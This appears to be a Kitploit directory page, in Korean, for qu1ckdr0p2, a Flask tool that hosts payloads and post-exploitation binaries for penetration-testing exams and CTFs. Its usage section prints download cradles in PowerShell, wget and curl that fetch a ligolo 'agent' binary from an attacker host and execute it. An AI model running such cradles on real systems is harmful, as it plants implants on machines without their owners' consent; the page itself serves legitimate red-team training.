Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
qu1ckdr0p2 — Flask를 사용하여 HTTP 또는 HTTPS를 통해 파일을 빠르게 제공합니다. | Kitploit
도구/GitHubGitHub/byinarie/qu1ckdr0p2
Payload GenerationPost-ExploitationWeb SecurityPenetration TestingRed TeamingPayload Development
GitHubbyinarie/qu1ckdr0p2

qu1ckdr0p2

Flask를 사용하여 HTTP 또는 HTTPS를 통해 파일을 빠르게 제공합니다.

저장소 보기
3552년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Python Flask Visual Studio Code Prettier License: MIT

소개

HTTP 또는 HTTPS를 통해 페이로드 및 포스트 익스플로잇 바이너리를 빠르게 호스팅합니다.

OSCP / PNPT 같은 시험 또는 HTB / 등 CTF에서 사용하도록 설계되었습니다.

풀 리퀘스트와 이슈 환영합니다. 모든 기여도 환영합니다.

Qu1ckdr0p2에는 별칭 및 검색 기능이 함께 제공됩니다. 도구는 qu1ckdr0p2-tools 저장소에 있습니다. 기본적으로 --https 옵션 사용 시 자체 서명된 인증서를 생성하며, 웹서버 실행 시 tun0 인터페이스가 우선적으로 사용되고, 그렇지 않으면 eth0을 사용합니다.

common.ini는 --search 및 -u 옵션 내에서 사용되는 매핑된 별칭을 정의합니다.

웹서버가 실행 중일 때 복사하여 붙여넣을 수 있는 여러 다운로드 크래들이 화면에 출력됩니다.

참고

다운로드 크래들을 복사하여 붙여넣을 때, 사용 중인 터미널 에뮬레이터에 따라 복사하기 위해 크래들을 강조 표시하려면 빠르게 세 번 또는 두 번 클릭해야 할 수 있습니다. 이 문제는 이후 버전에서 수정될 예정입니다.

설치

pip를 사용하는 것이 유일하게 지원되는 설치 방법입니다.

이 저장소를 클론하여 설치하면 아마 문제가 발생할 것입니다.

root@kitploit:~
pip3 install qu1ckdr0p2

echo "alias serv='~/.local/bin/serv'" >> ~/.zshrc
source ~/.zshrc

or

echo "alias serv='~/.local/bin/serv'" >> ~/.bashrc
source ~/.bashrc

serv init --update

사용법

현재 작업 디렉토리에 있는 단일 파일 서빙

root@kitploit:~
$ serv serve -f implant.bin --https 443
root@kitploit:~
$ serv serve -f file.example --http 8080

업데이트 및 도움말

root@kitploit:~
$ serv --help            
Usage: serv [OPTIONS] COMMAND [ARGS]...

  Welcome to qu1ckdr0p2 entry point.

Options:
  --debug  Enable debug mode.
  --help   Show this message and exit.

Commands:
  init   Perform updates.
  serve  Serve files.
root@kitploit:~
$ serv serve --help
Usage: serv serve [OPTIONS]

  Serve files.

Options:
  -l, --list         List aliases
  -s, --search TEXT  Search query for aliases
  -u, --use INTEGER  Use an alias by a dynamic number
  -f, --file FILE    Serve a file
  --http INTEGER     Use HTTP with a custom port
  --https INTEGER    Use HTTPS with a custom port
  -h, --help         Show this message and exit.
root@kitploit:~
$ serv init --help       
Usage: serv init [OPTIONS]

  Perform updates.

Options:
  --update            Check and download missing tools.
  --update-self       Update the tool using pip.
  --update-self-test  Used for dev testing, installs unstable build.
  --help              Show this message and exit.
root@kitploit:~
$ serv init --update
root@kitploit:~
$ serv init --update-self

매핑된 별칭에서 파일 서빙

매핑된 별칭 번호는 -u 옵션에 대해 동적이므로 특정 번호를 기억하거나 도구 이름을 입력할 필요가 없습니다.

root@kitploit:~
$ serv serve --search ligolo               

[→] Path: ~/.qu1ckdr0p2/windows/agent.exe
[→] Alias: ligolo_agent_win
[→] Use: 1

[→] Path: ~/.qu1ckdr0p2/windows/proxy.exe
[→] Alias: ligolo_proxy_win
[→] Use: 2

[→] Path: ~/.qu1ckdr0p2/linux/agent
[→] Alias: ligolo_agent_linux
[→] Use: 3

[→] Path: ~/.qu1ckdr0p2/linux/proxy
[→] Alias: ligolo_proxy_linux
[→] Use: 4
(...)
root@kitploit:~
$ serv serve --search ligolo -u 3 --http 80

[→] Serving: ../../.qu1ckdr0p2/linux/agent
[→] Protocol: http
[→] IP address: 192.168.1.5
[→] Port: 80
[→] Interface: eth0
[→] CTRL+C to quit

[→] URL: http://192.168.1.5:80/agent

[↓] csharp:
$webclient = New-Object System.Net.WebClient; $webclient.DownloadFile('http://192.168.1.5:80/agent', 'c:\windows\temp\agent'); Start-Process 'c:\windows\temp\agent'

[↓] wget:
wget http://192.168.1.5:80/agent -O /tmp/agent && chmod +x /tmp/agent && /tmp/agent

[↓] curl:
curl http://192.168.1.5:80/agent -o /tmp/agent && chmod +x /tmp/agent && /tmp/agent

[↓] powershell:
Invoke-WebRequest -Uri http://192.168.1.5:80/agent -OutFile c:\windows\temp\agent; Start-Process c:\windows\temp\agent

⠧ Web server running

라이선스

MIT


도구 다운로드